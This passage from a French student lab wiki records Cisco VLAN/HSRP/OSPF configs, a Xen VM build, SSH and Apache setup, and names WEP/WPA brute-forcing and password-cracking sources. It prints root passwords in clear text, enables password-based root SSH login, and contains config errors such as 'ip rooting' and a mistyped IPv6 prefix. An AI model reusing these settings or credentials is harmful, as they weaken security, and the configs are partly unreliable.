   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RAID5.png&amp;diff=51605</id>
		<title>Fichier:RAID5.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RAID5.png&amp;diff=51605"/>
				<updated>2019-12-07T13:40:19Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : Fcavalie a téléversé une nouvelle version de Fichier:RAID5.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51603</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51603"/>
				<updated>2019-12-07T13:38:39Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
